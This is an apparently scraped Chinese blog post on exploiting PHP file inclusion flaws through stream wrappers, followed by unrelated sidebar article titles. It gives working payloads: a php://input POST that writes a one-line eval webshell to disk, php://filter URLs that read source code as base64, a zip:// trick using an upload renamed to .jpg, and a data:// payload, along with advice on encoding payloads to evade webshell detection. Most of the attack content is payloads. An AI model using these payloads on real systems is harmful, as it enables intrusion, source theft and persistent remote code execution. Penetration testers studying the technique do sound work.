当前位置:网站首页>文件包含之伪协议的使用
文件包含之伪协议的使用
2022-08-03 14:51:00 【一青一柠】
文件包含漏洞利用实例
1. php流的input
http://127.0.0.1/include/03/index.php?page=php://input
然后要用post类型提交数据
这里可以这么提交:
<?php
fputs(fopen("shell.php","w"),"<?php @eval(\$_POST["hack"])?>")
?>
这里通过直接写入一个木马文件,来进行攻击。
所以不只是文件上传点可以写入木马,php的input流也可以写入一句话木马。
2. php流的filter协议
?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。
虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
allow_url_include和allow_url fopen都不做要求,这是非常大的优势。
3. zip压缩流
?page=zip://C:/Users/40454/Desktop/test.jpg%23test.txt
先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。、
注意,这里必须是绝对路径。
4. data协议
?file=data://text/plain,<?php phpinfo();?>
但在利用时有很多问题。
后面php代码容易被查杀,所以要灵活利用编码等方法,可以借鉴webshell免杀,原理都是一样的。
<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。解决思路:
不写后面的 ?> 因为PHP里面其实不需要写后面的 前面的 ;号就已经说明结束了。
如果没有;号就必须写 ?>作为结束。
边栏推荐
猜你喜欢

162_Power Query is a custom function for quickly merging tables in a folder TableXlsxCsv_2.0

How to use redis
![Detailed explanation of cloud hard disk EVS and how to use and avoid pits [HUAWEI CLOUD is simple and far]](/img/95/c05f184a6221fefaaa93beb9dccc33.png)
Detailed explanation of cloud hard disk EVS and how to use and avoid pits [HUAWEI CLOUD is simple and far]

网络通信的过程

C语言中操作符的详细介绍

面试官都震惊,你这“网络基础”可以啊

用1000行代码统计西安新房价格后,我有一个惊人的发现……

苹果开发「AI 建筑师」GAUDI:根据文本生成超逼真 3D 场景!

PostgreSQL V14中更好的SQL函数

第二讲 软件生命周期
随机推荐
教你如何获取微信公众号历史文章链接
一个在浏览器中看到的透视Cell实现
币圈提款机:Solana钱包出现未知安全漏洞 大量用户数字资产被盗
R7 6800H+RTX3050+120Hz 2.8K OLED屏,无畏Pro15 2022开启预售
A high-performance creation book, ASUS Dreadnought Pro15 2022 is completely enough for daily photo editing and editing!
162_Power Query 快速合并文件夹中表格之自定义函数 TableXlsxCsv_2.0
QT之Mysql驱动
php类的析构函数:__destruct
rust编程基础
在北极都可以穿短袖了,温度飙升至32.5℃
选择合适的 DevOps 工具,从理解 DevOps 开始
GMapping principle analysis/easy to understand
个人秋招记录——欢迎交流
Chrome browser corresponding driver_chrome mobile browser
取消转义字符(r)
Controller层代码这么写,简洁又优雅!
PHP中高级面试题 – 第一天
问题10:注册页面的易用性测试?
我现在推荐用mamba替代conda
Leetcode 448. Find All Numbers Disappeared in an Array to Find All Disappeared in an Array of Numbers (simple)